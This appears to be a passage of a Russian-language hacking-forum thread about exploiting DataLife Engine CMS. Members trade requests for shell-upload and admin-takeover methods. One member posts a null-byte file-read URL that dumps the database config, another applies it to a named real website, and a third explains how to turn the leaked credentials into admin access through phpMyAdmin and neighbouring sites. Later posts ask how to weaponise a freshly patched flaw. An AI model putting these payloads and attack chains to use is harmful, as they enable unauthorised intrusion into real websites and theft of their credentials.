[ Обзор уязвимостей DataLife Engine ]

Discussion in 'Веб-уязвимости' started by Solide Snake, 28 Oct 2007.

  1. RexelNet

    RexelNet Member

    Joined:
    21 Oct 2010
    Messages:
    22
    Likes Received:
    8
    Reputations:
    -5
    ramauf , ты дaлбaёб?
    вопрос был изначально не что это ТАМ, а как удалось этот код пропихнуть умник бля...


    вопрос актуален, некто не вкурсе как удалось пропихнуть туда этот код ?
    если есть приват способы по загрузке шелла/выполнению кода ,либо иные баги по получению админского аккаунта, готов принять в дар, либо обменять на шелл,либо иные варианты..
     
    #321 RexelNet, 21 Mar 2014
    Last edited: 21 Mar 2014
    1. hpol

      hpol Elder - Старейшина

      Joined:
      11 Dec 2013
      Messages:
      62
      Likes Received:
      16
      Reputations:
      15
      engine/classes/min/index.php?f=engine/data/dbconfig.php%00.js

      вот эту тему встречал на нескольких десятых версиях , выдаёт данные от myadmin
       
      3 people like this.
      1. chekist

        chekist Elder - Старейшина

        Joined:
        14 Nov 2007
        Messages:
        215
        Likes Received:
        160
        Reputations:
        100
        в версиях ниже 9.7 можно пропихнуть :p
         
        1 person likes this.
        1. Donnel

          Donnel New Member

          Joined:
          20 Feb 2014
          Messages:
          5
          Likes Received:
          0
          Reputations:
          0
          Или тебе повезло, или админ сайта плохо защитил файлы, или мне, наоборот, не везет - у меня не работает.
           
          1. hpol

            hpol Elder - Старейшина

            Joined:
            11 Dec 2013
            Messages:
            62
            Likes Received:
            16
            Reputations:
            15
            в десятых версиях работает где есть похожий на этот файл
            ./engine/cache/system/minify_dbconfig.php.js_e6d3eb97164a6db9d7def610a5e9736c
            тогда такой джет выводит данные
            engine/classes/min/index.php?f=engine/data/dbconfig.php%00.js
            если просто так вставить то не работает.
             
            1. Screami

              Screami Banned

              Joined:
              14 Mar 2010
              Messages:
              63
              Likes Received:
              3
              Reputations:
              1
              а я уже сайтов 20 нашёл.
              вот например:
               
              2 people like this.
              1. winstrool

                winstrool ~~*MasterBlind*~~

                Joined:
                6 Mar 2007
                Messages:
                1,414
                Likes Received:
                911
                Reputations:
                863
                Молодец!, хорошая бага! +
                 
                _________________________
                1. mr.Arec

                  mr.Arec New Member

                  Joined:
                  18 Apr 2013
                  Messages:
                  6
                  Likes Received:
                  1
                  Reputations:
                  0
                  Кто может помочь залить шелл через админку
                  версия движка 10
                  есть доступ в админку
                   
                  masanya likes this.
                  1. pharm_all

                    pharm_all Member

                    Joined:
                    10 Sep 2009
                    Messages:
                    106
                    Likes Received:
                    7
                    Reputations:
                    0
                    В примере конфиг не читается!

                    400 Bad Request

                    Please see http://code.google.com/p/minify/wiki/Debugging.

                    есть рабочий пример?
                     
                    1. lansia

                      lansia New Member

                      Joined:
                      6 Feb 2011
                      Messages:
                      111
                      Likes Received:
                      4
                      Reputations:
                      5
                      http://erolib.ru/engine/classes/min/index.php?f=engine/data/dbconfig.php%00.js
                       
                      1 person likes this.
                      1. 06shurik

                        06shurik New Member

                        Joined:
                        21 Feb 2014
                        Messages:
                        3
                        Likes Received:
                        0
                        Reputations:
                        0
                        бага интересная, и вопрос такой, как раскрутить эту багу, т.е через что за юзать и вытащить данные от админки или залить шелл?
                         
                        #331 06shurik, 19 Apr 2014
                        Last edited: 19 Apr 2014
                        1. winstrool

                          winstrool ~~*MasterBlind*~~

                          Joined:
                          6 Mar 2007
                          Messages:
                          1,414
                          Likes Received:
                          911
                          Reputations:
                          863
                          Эта бага, используется как обычная читалка файлов, можете локально читать конфиги для подключения к БД, а дальше к примеру через phpmyadmin, заходите и берете логин/пасс админа и профит! или если есть соседние сайты, то ищите путь к ним и по такому же прицепу, хорошим плюсом было бывает, когда удаленное подключение к БД идет, тогда вам phpmyadmin искать не прийдется)
                           
                          _________________________
                          1. Donnel

                            Donnel New Member

                            Joined:
                            20 Feb 2014
                            Messages:
                            5
                            Likes Received:
                            0
                            Reputations:
                            0
                            Народ, бага шикарна, согласен, увидел примеры, аплодирую стоя. Но у меня она выдает 400 Bad Request. Не на все сайты, а на один (!). Что за черт? Подскажите.
                             
                            1. strelok20094

                              strelok20094 Member

                              Joined:
                              26 Mar 2011
                              Messages:
                              81
                              Likes Received:
                              6
                              Reputations:
                              2
                              Скорее всего пофиксили уже, но что делать если при переходе по site.com/engine/classes/min/index.php?f=engine/data/dbconfig.php%00.js
                              Происходит редирект :3
                               
                              1. BigBear

                                BigBear Escrow Service Staff Member Гарант - Escrow Service

                                Joined:
                                4 Dec 2008
                                Messages:
                                1,801
                                Likes Received:
                                920
                                Reputations:
                                862
                                Редирект, это не более чем установка хидера Location и дальнейшее перенаправление.

                                Самое очевидное - отключить принудительный редирект в браузере.

                                Но шансы что тебе выдаст содержимое файла - довольно низки, оффициальный патч обычно фиксит дыру и редиректит, а не просто редиректит.
                                 
                                _________________________
                                1. pas9x

                                  pas9x Elder - Старейшина

                                  Joined:
                                  13 Oct 2012
                                  Messages:
                                  423
                                  Likes Received:
                                  585
                                  Reputations:
                                  52
                                  Время портальчиков на дле и пхп-нюке уже прошло. Цмс такого типа сами по себе уже устарели. Сейчас на них только школьники делают трешевые сайты типа торрент-трекеров. Безопасность на таких сайтах вообще до лампочки.
                                   
                                  1. Dr.Strangelove

                                    Joined:
                                    1 Dec 2008
                                    Messages:
                                    111
                                    Likes Received:
                                    61
                                    Reputations:
                                    -6
                                    Серьезные уязвимости были только в ранних версиях. Давно уже все пофиксили. ДЛЕ давно уже без критичных дырок. В различных плагинах можно поискать разные sql-inj например. В принципе тут ситуация такая же как и с Wordpress.
                                     
                                    1. ChocolatePuma

                                      ChocolatePuma New Member

                                      Joined:
                                      25 Sep 2016
                                      Messages:
                                      12
                                      Likes Received:
                                      0
                                      Reputations:
                                      0
                                      Как можно получить список плагинов на сервере?
                                       
                                      1. Dr.Strangelove

                                        Joined:
                                        1 Dec 2008
                                        Messages:
                                        111
                                        Likes Received:
                                        61
                                        Reputations:
                                        -6
                                        Никак!
                                        Только сравнивая.
                                        Посмотри что из себя представляет чистый движок dle и посмотри что есть дополнительно прилеплено на атакуемом на сайте. Например галлерея.


                                        Еще как вариант составить базу всевозможных плагинов и их путей и пытаться сканировать их. Как это реализовано в аналогичном сканере плагинов для вротпресса
                                         
                                        ChocolatePuma likes this.
                                        1. airatos

                                          airatos New Member

                                          Joined:
                                          17 Dec 2010
                                          Messages:
                                          13
                                          Likes Received:
                                          1
                                          Reputations:
                                          0
                                          Сегодня была рассылка от DLE, что найдена критическая уязвимость и надо закрыть дыру.

                                          Проблема: Недостаточная фильтрация данных.

                                          Ошибка в версии: 11.1 и ниже

                                          Степень опасности: Высокая

                                          Для исправления откройте файл: /engine/classes/parse.class.php и найдите:

                                          if( preg_match( "/[?&;%<\[\]]/", $url ) ) {

                                          if( $align != "" ) return "[img=" . $align . "]" . $url . "[/img]";
                                          else return "[​IMG][​IMG][img ]" . $url . "[/img]";

                                          }

                                          замените на

                                          if( preg_match( "/[?&;%<\[\]]/", $url ) ) {

                                          return $matches[0];

                                          }



                                          Кто что знает об этом и и как эту уязвимость использовать?